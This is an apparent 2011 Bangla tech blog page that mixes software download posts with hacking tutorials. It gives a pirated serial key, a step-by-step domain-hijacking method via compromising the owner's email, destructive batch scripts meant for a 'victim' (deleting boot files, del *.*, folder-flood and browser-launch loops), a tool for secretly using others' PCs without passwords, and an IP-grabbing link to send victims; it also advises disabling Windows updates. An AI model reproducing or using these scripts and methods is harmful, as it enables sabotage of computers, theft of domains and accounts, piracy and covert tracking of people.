![]() |
Thursday, July 28, 2011
USB Disk Security v.6.0.0.126
Tuesday, July 19, 2011
Advanced SystemCare PRO 3.7.2 full download
(Download Now)
• Enjoy That New PC Feeling Again - New! Designed for the latest Windows system environment. Speeds up your PC and improves reliability.
• Powerful Hard Drive Defrag and Optimization - New! High-speed Disk Defrag function to defragment hard drives up to 10 times faster than other defragmentation tools. Includes "SmartDefrag" disk optimization to make your hard drives run faster and be less fragmented in the future.
• Next-generation Registry Deep Clean and Optimization -New! Safely cleans registry junk, compacts registry bloats and defragment the whole registry for maximum performance. Finds and fixes the registry errors others miss with "Deep Scan" technology.
• Automated Working in the Background - New! Just install it and forget it. This powerful utility works continuously, automatically and quietly in the background on your PC. You can set it as your schedule or just let it work automatically when your PC is idle.
• Defends PC Security with Extra Protection - Improved! Detect and analyze Windows security environment. Scans and removes spyware and adware using up-to-date definition files. Prevents spyware, hackers and hijackers from installing malicious items on your computer. Erases and updates your PC’s activity history.
• Quick and Extensive Clean-up for Hard Drives - Improved! Boosts your system’s performance by cleaning missing files, destroying unwanted files, deleting obsolete files, and removing junk files. Supports clean-up of over 50 different types of junk files.
• Keeps Your PC Running at Peak Performance - Improved! Fully optimizes Windows for ultimate system performance and top Internet speed by unleashing the built-in power of your system, based on how you use your PC and your network configuration. Turns your PC into a business PC, a productive workstation, an entertainment center, a game machine, or a scientific computing PC.
• Fixes Multiple System Errors - Improved! Keeps your PC stable and running at peak efficiency. Continuously repairs system configurations by eliminating system bottlenecks and preventing crashes.
• FREE, Award-winning Customer Support for All Users. 100% free 24x7 Technical Support and community support.
Monday, July 18, 2011
Get A Valid Serial Key Of Advance Syestem Optimaizer 3 And Save $40 !
If you want to download or purchase it from it's main website than you have to pay $40 for this software. But nothing to worry! Because today I am giving a Premium Serial Key for free.
Comprehensive features list of Advanced System Optimizer v3.1
[ 2FB1W-WHGM9F-RZQ67K-QQPBAV-EY2WY3 ]
Do you have more free stuff s? Please share with us !
Sunday, July 17, 2011
ডোমেইন হাইজ্যাকিং:যেভাবে ডোমেইন হাইজ্যাক করতে হয়
আজকে আমাদের আলোচনার বিষয়বস্তু হচ্ছে কিভাবে কোন ডোমেইন হাইজ্যাক করতে হয় এবং কিভাবে এই হাইজ্যাকিং হতে ডোমেইন রক্ষা করতে হয়।
ডোমেইন হাইজ্যাকিং কী?
আসলে ডোমেইন হ্যাকিংকেই বলা হয় ডোমেইন হাইজ্যাকিং। ডোমেইন হাইজ্যাকিং হচ্ছে এমন একটি প্রক্রিয়া যেখানে ইন্টারনেটের ডোমেইন নাম তার প্রকৃত মালিক থেকে চুরি করা হয়। তাই অন্য অর্থে একে ডোমেইন চুরি-ও বলা হয়। কিভাবে ডোমেইন হাইজ্যাক করা হয় সেটা জানার আগে আমাদের জানতে হবে কিভাবে কোন ডোমেইন কাজ করে এবং কিভাবে ডোমেইন কোন ওয়েব হোস্টিংয়ের সাথে যুক্ত করা হয়।
যেভাবে ডোমেইন কাজ করে :
উদাহরনস্বরূপ www.google.com এর দুটি অংশ রয়েছে। একটি হচ্ছে এর ডোমেইন নাম অন্যটি হচ্ছে এটি যে ওয়েবসার্ভার এর সাথে যুক্ত রয়েছে সেটি। মূলত ডোমেইন নাম এবং হোস্টিং সম্পূর্ণ রূপে দুই জিনিস এবং কোন ওয়েবসাইটের সাফল্য বলতে বুঝায় এই দুটির পারস্পরিক সম্পর্কভিত্তিক আচরনকে। কিভাবে ডোমেইন নামের সাথে হোস্টিং যুক্ত করা হয় সেটি নিচে দেয়া হল :
১। ডোমেইন নাম রেজিষ্ট্রেশন করার পর আমরা একটি কন্টোল প্যানেল পাই যার মাধ্যমে আমরা সম্পূর্ণ রূপে ডোমেইনটিকে কন্ট্রোল করতে পারি।
২। ঐ ডোমেইন কন্ট্রোল প্যানেলের মাধ্যমেই সেই ডোমেইনটিকে হোস্টিং (যেখানে ওয়েবসাইটের ফাইলগুলো সংরক্ষিত থাকে) এর সাথে যুক্ত করা হয়।
একটি উদাহরন দেয়া যাক :
মনে করি করিম একটি ডোমেইন নাম রেজিষ্ট্রেশন করেছে যার ঠিকানা হচ্ছে www.abc.com ধরি এই ডোমেইনটি যেখান থেকে রেজিষ্ট্রেশন করা হয়েছে সেটির নাম হচ্ছে “ক” কোম্পানী। এখন করিম তার হোস্টিং ক্রয় করেছে “খ” কোম্পানী থেকে। এখন সে তার সবগুলো ফাইল (.html/.php/javascript ইত্যাদি) যা কিনা ওয়েবসাইটের মূল কন্টেন্ট সেগুলো সে ঐ “খ” কোম্পানীর হোস্টিংয়ে আপলোড করল। এবার ডোমেইন কন্ট্রোল প্যানেল থেকে সে ডোমেইনটিকে তার হোস্টিং এর সাথে যুক্ত করে দিল। এখন যখন কোন ইন্টারনেট ইউজার তার ব্রাউজারে www.abc.com টাইপ করল তখন সেই ডোমেইন নামটি সরাসরি ঐ হোস্টিংয়ে কনভার্ট হয়ে গেল যেখানে ফাইলগুলো আপলোডকৃত অবস্থায় ছিল। এভাবেই সে ঐ ওয়েবসাইটটিকে দেখতে পেল।
যখন একটি ডোমেইন হাইজ্যাক হয় তখন কি ঘটে?
কোন ডোমেইন হাইজ্যাক করতে হলে প্রথমেই সেই ডোমেইনটির কন্ট্রোল প্যানেলে প্রবেশ করতে হয়। তারপর এটি যেই সার্ভারের সাথে যুক্ত সেটি বদলিয়ে অন্য একটি হোস্টিংয়ের সাথে যুক্ত করে দিতে হয়। তাহলে দেখা যাচ্ছে কোন ডোমেইন হাইজ্যাকের জন্য আপনাকে সেই ওয়েবসাইটটির হোস্টিংয়ে আক্রমন করতে হচ্ছে না। উদাহরনস্বরূপ, কোন হ্যাকার www.abc.com ডোমেইনের কন্টোল প্যানেলে প্রবেশ করল। এখন সে ঐ ডোমেইনটি যে হোস্টিংয়ের সাথে যুক্ত সেটি বদলিয়ে নতুন একটি হোস্টিংয়ে কনভার্ট করে দিল যার মালিক হতে পারে ঐ হ্যাকার। এখন কোন ইন্টারনেট ব্যবহারকারী যদি তার ব্রাউজারে www.abc.com লিখে তাহলে সে করিমের ওয়েবসাইটের বদলে ঐ হ্যাকারের ওয়েবসাইট দেখতে পাবে। এটাই মূলত ডোমেইন হাইজ্যাকিংয়ের মূল ব্যাপার।
যেভাবে ডোমেইন নাম হাইজ্যাক করা হয় :
কোন ডোমেইন হাইজ্যাক করার জন্য প্রথম কাজ হচ্ছে ঐ ডোমেইনটির কন্ট্রোল প্যানেলে প্রবেশ করা।এক্ষেত্রে নিম্নোক্ত উপাদানগুলো আপনার লাগবে।
১। ডোমেইনটি যে কোম্পানী থেকে রেজিষ্ট্রেশন করা হয়েছে তার নাম/ঠিকানা/ওয়েব এ্যাড্রেস।
২। ডোমেইন মালিকের ইমেইল এ্যড্রেস।
উপরোক্ত তথ্যগুলো ঐ ডোমেইনটির হুইজ (WHOIS) চেক করার মাধ্যমে পাওয়া যেতে পারে। এক্ষেত্রে আপনি আপনার ব্রাউজারে লিখুন http://whois.domaintools.com এবং এর খালি ঘরে আপনার টার্গেট ডোমেইনটি লিখুন এরপর Lookup এ ক্লিক করুন।যখন সবতথ্য লোড হবে তখন মাউসের স্ক্রোল ঘুরিয়ে একেবারে নিচের দিকে দেখতে পাবেন লেখা রয়েছে Whois Record। এবার সেখানে আপনি ডোমেইন মালিকের ইমেইল এ্যাড্রেস পাবেন। এখন ডোমেইন রেজিষ্ট্রেশন কোম্পানীর নাম পেতে হলে খুজুন “Registration Service Provided By: ABC Company”. এখানে ABC কোম্পনীই হচ্ছে ডোমেইনটির রেজিষ্ট্রারার। কোন কারনে যদি আপনি তা না পান তাহলে খুজুন ICANN Registrar যেটি থাকবে “Registry Data” এর মধ্যে। এখানে যেই কোম্পানীর নাম পাবেন সেটিই ডোমেইন রেজিষ্ট্রারার।
এখন আমরা ডোমেইন মালিকের যে ইমেইল ঠিকানাটি পেলাম সেটিই ডোমেইন হাইজ্যাকিংয়ের ক্ষেত্রে ব্যাকডোর (এটি নিয়ে পড়ে একসময় আলোচনা হবে ইনশাআল্লাহ) হিসেবে কাজ করবে। ডোমেইন কন্ট্রোল প্যানেলে প্রবেশের জন্য এটি হচ্ছে চাবি। এবার ডোমেইন কন্ট্রোল প্যানেলের সম্পূর্ণ কন্ট্রোল পেতে হলে প্রথমেই হ্যাকারকে এই ইমেইল এড্রসটি হ্যাক করতে হবে। ইমেইল হ্যাকিং অনেকভাবেই করা যায়। যা পূর্বে বিভিন্ন টিউনে আলোচনা করা হয়েছে। তবে আবারো বলছি ইমেইল হ্যাকিংয়ের প্রসিদ্ধ উপায় হচ্ছে-
১। ফিশিং
২। সোস্যাল ইঞ্জিনিয়ারিং
৩। কী-লগার ইত্যাদি।
যখন হ্যাকার ইমেইল এড্রেসটি হ্যাকিং করল তখন সে ডোমেইন রেজিষ্ট্রারার এর ওয়েবসাইটে প্রবেশ করবে। এখন সে লগইন পেজের Forget Password এ ক্লিক করবে।এখন পাসওয়ার্ড রিসেট করার জন্য হয়ত তাকে ডোমেইনটির নাম বা মালিকের ইমেইল ঠিকানা দিতে হবে। যেহেতু হ্যাকার মালিকের ইমেইর এ্যাড্রেসটির সম্পূর্ণ কন্ট্রোল পূর্বেই পেয়ে গেছে সুতরাং পাসওয়ার্ড রিসেট করা তার পক্ষে সহজ কাজ। পাসওয়ার্ড রিসেট করার পর সে ডোমেইন রেজিষ্ট্রারার সাইটে নতুন পাসওয়ার্ড দিয়ে লগইন করবে এবং কয়েক মিনিটের মধ্যেই ডোমেইনটি হাইজ্যাক করে নিবে।
যেভাবে ডোমেইন হাইজ্যাক প্রতিরোধ করা যায় :
ডোমেইন হাইজ্যাক প্রতিরোধের সর্বাপেক্ষা প্রসিদ্ধ উপায় হচ্ছে ডোমেইনটির সাথে যে ইমেইল এ্যাড্রেসটি যুক্ত সেটি রক্ষা করা। যদি আপনি ইমেইলটি হারান তাহলে ধরে নিতে হবে আপনি আপনার ডোমেইনটিও হারিয়েছেন। আপনি অনেকভাবেই ইমেইল রক্ষা করতে পারেন। এ নিয়ে অনেক আলোচনা ইন্টারনেটে খুজে পাবেন। আরো একভাবে ডোমেইন রক্ষা করা যায়। সেটি হচেছ প্রাইভেট রেজিষ্ট্রেশন। প্রতিটি ডোমেইন রেজিষ্ট্রারার কোম্পানীই এই সেবাটি প্রদান করে থাকে। কাউকে এর জন্য অতিরিক্ত অর্থ দিতে হয় কেউবা বিনামূল্যে এই সেবাটি প্রদান করে থাকে। এক্ষেত্রে কেউ যদি আপনার ডোমেইনটির ব্যাপারে হু্ইজ চেক করে তাহলে সে ডোমেইনটির মালিকের ব্যাপারে কোন তথ্যই পাবে না। সবকিছু লুকানো থাকবে। তাই আমি সবাইকে বলব আপনারা সবাই প্রাইভেট রেজিষ্ট্রেশন ব্যবহার করুন। সবাই ভালো থাকবেন।
কোন সাইট জন্য ফ্রী ব্যবহারকারীর নাম ও পাসওয়ার্ড চান?
এখন আপনি registring ছাড়া কোন সাইট সার্ফ করতে পারেন।
শুধু সাইটের নাম এবং টাইপ করে ইউজারনেম এবং পাসওয়ার্ড প্রচুর পাবেন.।
নির্দেশনাঃ
ধাপ ১:দেখুন http://bugmenot.com
ধাপ ২:ওয়েবসাইট ঠিকানা আপনার ব্যবহার করতেচাইছেন একটি লিখুন উদাহরণস্বরূপ:www.nytimes.com
ধাপ ৩: “Get Logins” বোতামটি টিপুন।
৪ ধাপ:এখন কয়েকটি ব্যবহারকারী নাম এবং পাসওয়ার্ড প্রদর্শিত হবে.
ধাপ ৫:এবার নাম এবং পাসওয়ার্ড দিয়া লগইন করতে চেষ্টা করেন।
হ্যাকোলজিঃ হ্যাকিং শেখার প্রথম বাংলা ই-বুক [আপডেট]
সকলের সুবিধার জন্য আমরা হ্যাকিং এর আদ্যোপান্ত বাংলার নেটিজেনদের মাঝে ছড়িয়ে দেওয়ার লক্ষ্যে একটি প্রোজেক্ট নিয়েছি যার নাম প্রোজেক্ট হ্যাকোলজিঃ ।এই প্রোজেক্ট এর প্রথম কার্যক্রম হিসেবে আমরা হ্যাকিংয়ের সাথে পরিচিতি এবং কিছু ব্যাসিক টিউটোরিয়াল নিয়ে একটি ই-বুক প্রকাশ করলাম।বইটি আপাতত এর প্রথম সংস্করনে আছে।এখানে হ্যাকিংয়ের টিউটোরিয়াল গুলোকে উদাহরণ ও ছবি’র সাহায্যে সহজভাবে উপস্থাপন করার চেষ্টা করা হয়েছে। হ্যাকিং একটি অনেক বিশাল কনসেপ্ট,যা একটি মাত্র বইয়ে সংকলন করা সম্ভব নয়।তাই আমরা এর আরও খণ্ড এবং সংস্করণ সামনে বের করব।এজন্য আপনাদের মতামত,অভিযোগ,পরামর্শ প্রয়োজন।আমাদের ফেসবুক পেজ sharifএ আপনার মতামত ও পরামর্শ দরকার।বইটিতে কোন বিষয় জটিল মনে হলে অথবা বুঝতে না পারলে আমাদের ফেসবুক পেজে জানাবেন।শীঘ্রই আমরা বইটির ২য় সংস্করন প্রকাশ করব।এজন্য আমাদের ১ম সংস্করন সম্পর্কে আপনাদের মতামত দরকার।
যেহেতু এটি আমাদের প্রথম প্রচেষ্টা তাই এতে শব্দগত বা ভাষাগত ভুল থাকতে পারে।আমাদের এসব ভুল গুলো ধরিয়ে দিয়ে ২য় সংস্করণকে আরও প্রাঞ্জল করতে সাহায্য করবেন।২য় সংস্করণে আমরা আরও কিছু হ্যাকিং মেথড নিয়ে আলোচনা করব।আশাকরি আপনাদেরকে পাশে পাব।
আপডেট – অনেকেই বলছেন বইটি পড়তে পারছেন না পাসওয়ার্ড দিয়ে রাখা হয়েছে তাই। কিন্তু অনেকেই আবার ঠিক মত ডাউনলোড করে পড়া শেষ ও করে ফেলেছেন। কিন্তু আসলে আমি কনো প্রকার পাসওয়ার্ড দেই নাই এই বই টিতে। আপনারা দয়া করে অ্যাডবি রিডার দিয়ে বইটি পড়ুন। এখানে ডাউনলোড করে নিন অ্যাডবি রিডার টি এখুনি। তাহলে আর কনো প্রকার পাসওয়ার্ড লাগবে না।
৫টি অত্যান্ত মারাত্মক পিসি হ্যাকিং টিপস
আসসালামু আলাইকুম, আজ আবারও আরেকটি মজার টিউন নিয়ে আপনাদের সামনে হাজির হয়েছি। কেমন আছেন? আশা করি মহান সৃষ্টিকর্তার অশেষ রহমতে খুবই ভাল আছেন। আজ আমি আপনাদের সাথে শেয়ার করব ৫টি জটিল টিপস। তবে একটু সর্তকতা, কখনও এই টিপসগুলো কারও ক্ষতির উদ্দেশ্যে ব্যবহার করবেন না। এগুলো শুধু জানার জন্য। আপনি যদি এগুলো সম্পর্কে জানেন তাহলে আপনি এর ফাঁদে পড়বেন না। যাক, চলুন আয়োজনে।
১. একটি লিংক দিয়েই পিসি ক্যাস করান
মাত্র একটি লিংক দিয়ে আপনি একটি পিসিকে ক্র্যাস করান। এজন্য নিচের লিংকে ক্লিক করুন ও সাথে সাথে কাজ হয়ে যাবে…… হি হিহ হি হিহিহি। এর থেকে মুক্তি পেতে আপনার পিসি রির্ষ্টাট করতে হবে।
তবে সাবধান, লিংকে ক্লিক করবেন না, তাহল আপনার ব্রাউজার বা আপনার সিস্টেম ক্র্যাস হয়ে যেতে পারে।
Click Here. (http://tiny.cc/ibJUN)
২. এক মিনিটে ৩০০০ এর বেশি ফোল্ডার তৈরি করুন
- আপনার নোটপ্যাডটি ওপেন করুন।
- এবার নিচের কোড পেষ্ট করুন।
@echo off :top md %random% goto top
- এবার ফাইলটিকে tunerpage.bat নামে সেভ করুন।
- এবার একটি ডেকস্টপে এর একটি শর্টকাট তৈরি করুন। ও আইকন নিচের মতো দিন বা আপনার ইচ্ছা….
- এবার যা পিসি সে এটা চালানেই হল। হি হি হি হিহিহিহিহ
৩. একটি পিসিকে চিরজীবনের মেরে ফেলুন
একটি পিসিকে মাত্র কয়েক লাইনের কোড দিয়ে সারা জীবনের জন্য বন্ধ করে দিন। এজন্য নিচের কোডটি কপি করে নোটপ্যাডে পেষ্ট করুন।
@echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini
এবার এটিকে tunerpage.bat নামে সেভ করুন। তবে এটাকে আপনি .bat বা .cmd তে সেভ করতে পারবেন। এবার এটি চালু করলেই হল। হি হিহ হিইহহিহি
৪. এবার র্যাম ক্র্যাসিং টিপস
নোটপ্যাড খুলে নিচের কোডটি কপি করে পেষ্ট করুন।
:A start www.tunerpage.com goto A
এবার এটিকে tunerpage.bat নামে সেভ করুন। আপনার ভিকটিম এটি চালু করলেই কাজ সারা।
৫. মাত্র ৬ অক্ষরের শব্দ দিয়ে সিস্টেমের সকল ফাইলকে করে দিন ছক্কা
এবার নিচের কোড টি কপি করে নোট প্যাডে পেষ্ট করুন।
del *.*
এবার এটিকে tuenrpage.bat নামে সেভ করুন। এটি চালু করার ৫ মিনেট পর আপনার ভিকটিমের সব সিস্টেম ফাইল একদম তাদের শ্বশুর বাড়ি চলে যাবে।
আমার প্রিয় বন্ধুরা, আপনার এই টিউনটির অপব্যবহার করবেন না। জাষ্ট এটি শিখার জন্য, তবে সর্তক থাকবেন। আপনার মেইলে কেউ নোটপ্যাড আকারে কিছু পাঠানে তা অবশ্যই ভাল ভাবে চেক করে উক্ত ফাইলটি চালু করবেন, নতুবা আপনি নিজেই ছক্কা…………………..
সবাই অনেক ধন্যবাদ। ভাল থাকবেন, আল্লাহ হাফেজ……..
পোষ্টটি লিখেছেন টিজে - অনির্বাচিত টিউনার
এই পোষ্টটি আপনার প্রিয় পোষ্টে এর ঝুলিতে যুক্ত করুনটিউনার অনির্বাচিত এই ব্লগে 234 টি পোষ্ট লিখেছেন .
®╔═════════════════════ஜ۩۞۩ஜ══════════════════════╗® ✪░░▒▓███►✂✂((((☠☠➸Uη§є₤є©†єd✖Ŧwєє†єЯ™➸☠☠))))✂✂◄███▓▒░░✪ ®╚═════════════════════ஜ۩۞۩ஜ══════════════════════╝®
- 222222222
- 222222222
এই জাতিয় আরো কিছু পোস্ট পড়ুন:
কোন বুট” : যে কোনো কম্পিউটার এ লগিন করুন পাসওয়ার্ড ছাড়া
আমরা অনেক সময় নিজের বাসা ছাড়া অন্য কথাও যখন যাই কম্পিউটার নিয়ে ঝামেলায় পরে যাই ।দেখা যায় তখনি কোনো একটি পিসি তে বসা দরকার জরুরি কোনো কাজের জন্য ।কিংবা অফিসের কম্পিউটারএ যা করতে চাচ্ছি সেটা করা যাচ্ছে না এডমিন পাস না জানা থাকার কারণে ।অনেকের স্কুলের কম্পিউটারে অনেক সাইট দেখা যায় না বা বাসার কম্পিউটারেও নানা বাধা নিষেধ ।এই সব সমস্যার সমাধানের জন্য আজকে আমাদের জন্য উপহার “কোন বুট ” যা আপনাদের এই সমসার সহজ সমাধান দেবে ।আপনাকে এডমিন পাস ক্রেক করার দরকার নাই বা hack ও করার দরকার নাই।পরে যার কম্পিউটার ব্যবহার করলেন, সে ঘুনাক্ষরেও টের পাবে না কে তার কম্পিউটার ব্যবহার করেছে বা কি করেছে হাহাহাহ ।শুধু মাত্র আপনার কাজের শেষে পিসি রি-স্টার্ট দেবেন বাস সব ঝামেলা শেষ ।কোনো দাগ নেই আপনার সেই পিসি তে ,ধুয়া তুলসী পাতা !!! এমনকি অন্যদের মত নেট এ চাল্লু না হলেও হবে ।আমার মত নাদান কিসিম এর মানুষ ও পারবে এটা ব্যবহার করতে। .
সফটওয়ারটি বার্ন করুন কোনো সিডি তে অথবা ইউএস বি তে সেটাপ করুন এবং যে কম্পিউটারকে আপনার ভিকটিম বানাবেন সেখানে প্লাগিন করান ।কম্পিউটার এ “কোন বুট ” এর স্ক্রিন আসবে
এবং পিসি রি -স্টার্ট হবে এবং কোনো পাস ওয়ার্ড চাইবে না শান্ত সুবোধ কম্পিউটার ।আপনার কাজ আপনি করেন ,রি স্টার্ট দেন এবং টা টা বা বাই জানান কম্পিউটারকে । সেটা পূর্বের অবস্থায় ফিরে যাবে তার নিজস্য পাস ওয়ার্ড সহ ।
এই সফটওয়ার আমি এখনো ব্যবহার করি নাই ,এর ভালো মন্দের কোনো দায় দায়েত্ব আমার না ।ভাইরাস আছে কি নাই নিজ দায়িত্বে দেখে নেবেন ।
::IP ঠিকানা হ্যাকিং ::
এই টিউটোরিয়ালে আমি আপনাদের দেখাব কি ভাবে কারো কম্পিউটার এর আইপি ঠিকানা হ্যাকিং করবেন। এবং অবশ্যই আইপি হ্যাকিং করার আগে জানতে হবে আইপি ঠিকানা কি, আইপি হ্যাকিং করবেন অথচ জানেন না আইপি কি আইপি দিয়ে কি করে।
আইপি ঠিকানা কি?
সাধারনত আইপি ঠিকানা বলতে বুঝায় IP Address = Internet Protocol Address. এটা সাধারনত Unique নম্বর ভিত্তিক হয়ে থাকে । আইপি ঠিকানা বলতে কোন কম্পিউটার, প্রিন্টার, মোবাইল এর থাকে নেটওয়ার্ক এ সংযুক্ত করার জন্য । একটি আইপি ঠিকানার দুইটি অংশ থাকেঃ
১. Host or network interface identification
২. Location Addressing
Read more at Wikipedia: en.wikipedia.org/wiki/IP_address
কি ভাবে পাবেন এই আইপি ঠিকানা ?
অনেক উপায়ে আইপি ঠিকানা পেতে পারেন আমি আপনাদের বেসিক কিছু পদ্বতি দেখাব :
1. পিএইচপি নোটিফিকেশন স্ক্রিপ্ট দিয়ে
2. ব্লগ এবং ওয়েবসাইট
3. Read Notify এর মাধ্যমে
4. গুগল এবং ইয়াহু এর চ্যাট সেশন হাইজ্যেকিং এর মাধ্যমে
PHP Notify Script:
এটা মোটামুটি আইপি হ্যাকিং এর সহজ পদ্বতি, এবং অনেকটা ফিশিং ফিশিং লাগে । ফিশিং কি তা তো অবশ্যই জানেন। বাংলায় হ্যাকিং এর প্রায় ৮০% টিউটেরিয়াল ই ফিশিং এর উপর । যাহোকঃ
1. এখানে ক্লিক করে ডাউনলোড পিএইচপি Notify স্ক্রিপ্ট ডাউনলোড করে নিন
2. এটার ভিতর দুইটি ফাইল পাবেন একটি IP.html এবং index.php ফাইল দুটি কোন একটি ওয়েব হোস্টিং এ আপলোড করে নিন। আপনার আগের কোন হোস্টিং এ্যাকাউন্ট থাকলে তাতে না করে অন্য নতুন একটি এ্যাকাউন্ট খুলে নিন । আপনি এই হোস্টিং ঠিকানাটি ব্যাবহার করতে পারেনঃ http://my3gb.com । এখানে সাইন আপ করে ইমেল ভেরিফিকেশন সম্পান্ন করে লগইন করুন, তারপর ফাইল দুটি আপলোড করুন ।
3. হুম অনেক কাজ করে ফেলছেন! এখন মজা দেখার পালা যে ভাবেই হোক আপনার ভিক্টিম কে index.php এর ঠিকানাটা দিন । index.php এর ঠিকানা পেতে index.php এর উপর ক্লিক করুন নতুন একটা উইন্ডো খুলবে এখন এড্রেস বার থেকে লিঙ্কটি কপি করুন। এবং ভিক্টিম কে সেন্ড করুন। ঠিক নিচের ছবির মত :
4. এখন ওইব্যাক্তি যদি লিঙ্কটা ওপেন করে তাহলে কিছুই দেখতে পারবে না কিন্তু পিছনে পিছনে তার আইপি ঠিকানাটা আপনি পেয়ে গেলেন!!!!!!
অন্য উপায় গুলা আরেকদিন………
ইন্টারনেট এর গতি বৃদ্ধি করার কিছু সহজ ও কার্যকরি উপায়
১. Start >Run এ গিয়ে লিখুন gpedit.msc। তারপর Entar চাপুন।
২. Asministrative Templates এর পাশে (+) এ ক্লিক করে Expand করুন।
৩. তারপর Netwark এর পাশে (+) এ ক্লিক করে Expand করুন।
৪. QoS Packet Scheduler এ একবার লেফট ক্লিক করুন।
৫. তারপর Limit Reservable Bandwith এ ক্লিক করুন। এবং Enabled Box এ মার্ক করুন।
৬. তারপর Bandwith Limit % to 0 % এ পরিবর্তন করুন। (আগে may be 20 দেওয়া থাকে)
তারপর Apply এ ক্লিক করুন এবং PC রিস্টার্ট করুন।
**আশা করি এই কাজটি করলে আপনার PC এর ইন্টানেট গতি ২০% বৃদ্ধি পাবে।(শুধুমাত্র Windows XP Professional যারা ব্যবহার করেন তাদের জন্য প্রযোজ্য। অন্যরা এটি করবেন না। হিতে বিপরীত হতে পারে।)**
২. Windows XP এর Automatic Update বন্ধ করে দিন।
১.Windows Vista/7 এ Auto Update default হিসেবে দেওয়া থাকে। এটা disable করে দিলে গতি বেশ বৃদ্ধি পায়।
এ জন্য Windows 7 এ Control Panel > All Control Panel Items > Windows Update > Change Settings এ যান। সেখানে Important Updates এ Install Update Automatically থেকে Never check for updates এ পরিবর্তন করুন।তারপর Give me recommended updates the same way I receive important updates এবং Allow all users to install updates on this computer দুইটি Option থেকে টিক মার্ক উঠিয়ে দিন। তারপর Ok করে বের হয়ে আসুন।
(দুঃখিত Windows Vista এর টা আমি দিতে পারছি না। কারন আমি Windows 7 ব্যবহার করি)
২.নিচের পদ্ধতিতে আপনার Browser এর speed বৃদ্ধি করা সম্ভব।
আপনি যদি Firefox ব্যবহার করেন তাহলে নিচের পদ্ধতিতে Speed বাড়ান……….
প্রথমে Firefox এর address bar এ গিয়ে লিখুন about:config তারপর এন্টার করুন। কোনো Warning আসলে ignore করুন। তারপর filter বক্স এ টাইপ করুন network তারপর নিচে নেমে network.http.pipelining এ গিয়ে Modify করে TRUE সেট করুন। এবং network.http.pipelining.maxrequests এ গিয়ে তা 4 থেকে 8 এ সেট করুন। তারপর বের হয়ে আসুন। এবার Firefox রিস্টার্ট করে দেখুন গতি বেশ বৃদ্ধি পেয়েছে।
**(এটা খুব সম্ভবত Windows XP এর ক্ষেত্রেও প্রযোজ্য। চেষ্টা করে দেখতে পারেন)**
৩. Run এ গিয়ে লিখুন regedit। তারপর HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDnscacheParameters
এ যান। তারপর পাশের সাদা জায়গায় রাইট ক্লিক করে New > DWORD(32-bit) Value সিলেক্ট করুন। তারপর যে নতুন ভ্যালু আসবে তাকে CacheHashTableBucketSize এ Rename করুন। এভাবে আরো ৩টি value add করুন এবং তাদের নাম দিন CacheHashTableSize, MaxCacheEntryTtlLimit এবং MaxSOACacheEntryTtlLimit । তারপর modify করে নিচের Data Value গুলো সেট করুন।
CacheHashTableBucketSize > 1 ;CacheHashTableSize > 384 ; MaxCacheEntryTtlLimit > 64000 ; MaxSOACacheEntryTtlLimit > 301
অবশ্যই value গুলো decimal এককে বসাবেন।
**এটা শুধু Windows Vista এর জন্য প্রযোজ্য। আর আমি এটি পরীক্ষা করি নাই। তাই সবাই নিজ দায়িত্বে Edit করবেন।**
সাধারন টিপসঃ
১.আপনার ইন্টারনেট কানেকশন যদি খুব স্লো থাকে তাহলে Browser এর Option এ গিয়ে Image Load করা বন্ধ করে দিন।
যেমনঃ Firefox এর ক্ষেত্রে Option > Content এ গিয়ে Load images automatically এর টিক চিহ্ন উঠিয়ে দিন।
২.সবসময় history, catch ও cookies ডিলিট করুন। তবে খুব জরুরী website গুলি Favourites এ রাখতে পারেন।
৩. Browser এর homepage www.google.com এ রাখবেন। তবে Firefox এ ডিফাল্ট হিসেবে http://en-US.start3.mozilla.com/firefox?client=firefox-a&rls=org.mozilla:en-USfficial দেওয়া থাকে। এটা পরিবর্তন না করাই ভালো।
৪.Browser গুলির জন্য প্রচুর Add-on পাওয়া যায়। খুব জরুরী না হলে এগুলি Use না করাই ভালো।
৫.Browser এ theme ব্যবহার করবেন না। কারন এটা Browser কে স্লো করে দেয়।
৬.ডিফাল্ট browser বার বার পরিবর্তন করবেন না। আর এক browser এর History বা Bookmarks অন্য browser এ Import না করাই ভালো।
৭.কিছু software এর সাহায্যে আপনি আপনার ইন্টারনেট speed পরিমাপ করতে পারেন। DU Meter তেমনি একটি software. আপনি ইচ্ছা করলে নিচের লিঙ্ক থেকে নামিয়ে এটি ব্যবহার করতে পারেন। এটি মাত্র ২ মেগাবাইট। আর এটি আপনার ইন্টারনেটের গতির উপরও কোন প্রভাব ফেলে না।
Download DU Meter From Here
৮.খুব ভালো এন্টিভাইরাস সফটওয়ার ব্যবহার করবেন। আমার মতে ইন্টারনেট এর জন্য Norton Internet Security সবচেয়ে ভালো। তারপর Avast ব্যবহার করে দেখতে পারেন। ((কখনই দুইটি Antivirus একসাথে ব্যবহার করবেন না। আপনার System Crash করতে পারে))
ব্লগারের জন্য ২টি ফাটাফাটি প্রেমিয়াম থিম
Features Of Manchete Blogger Template
Mez Premium Blogger Template
- Fixed Layout 940px
- Header Navigation Menu
- 2 Columns Layout Template
- 3 Columns top
- 3 Columns Footer
- Gray Color
- Screenshot
Computer নতুন করে set up দেয়ার সময় কিছু করনীয় Important কাজ। যা না েদখেলই নয়।
Computer নতুন করে set up দেয়ার সময় কিছু করনীয় Important কাজ। যা না েদখেলই নয়।
টিউন করেছেন : abusufian | প্রকাশিত হয়েছে : ৭ জুন, ২০১১ | 2,880 বার দেখা হয়েছে | 48
প্রতিবার যখন আমরা নতুন করে Computer set up দেই ভাবি এবার আজেবাজে কোন software set up দেব না। কিন্তু প্রতিবারই আমরা আমাদের প্রতিজ্ঞা ভাঙ্গি, ফলে আমাদের Computer হয়ে যায় slow. ফলে আবার set up দেই। এব্যাপারে আমার কিছু মতামত আছে যা আজকে তুলে ধরার চেস্টা করেছি:
1. অপারেটিং System:
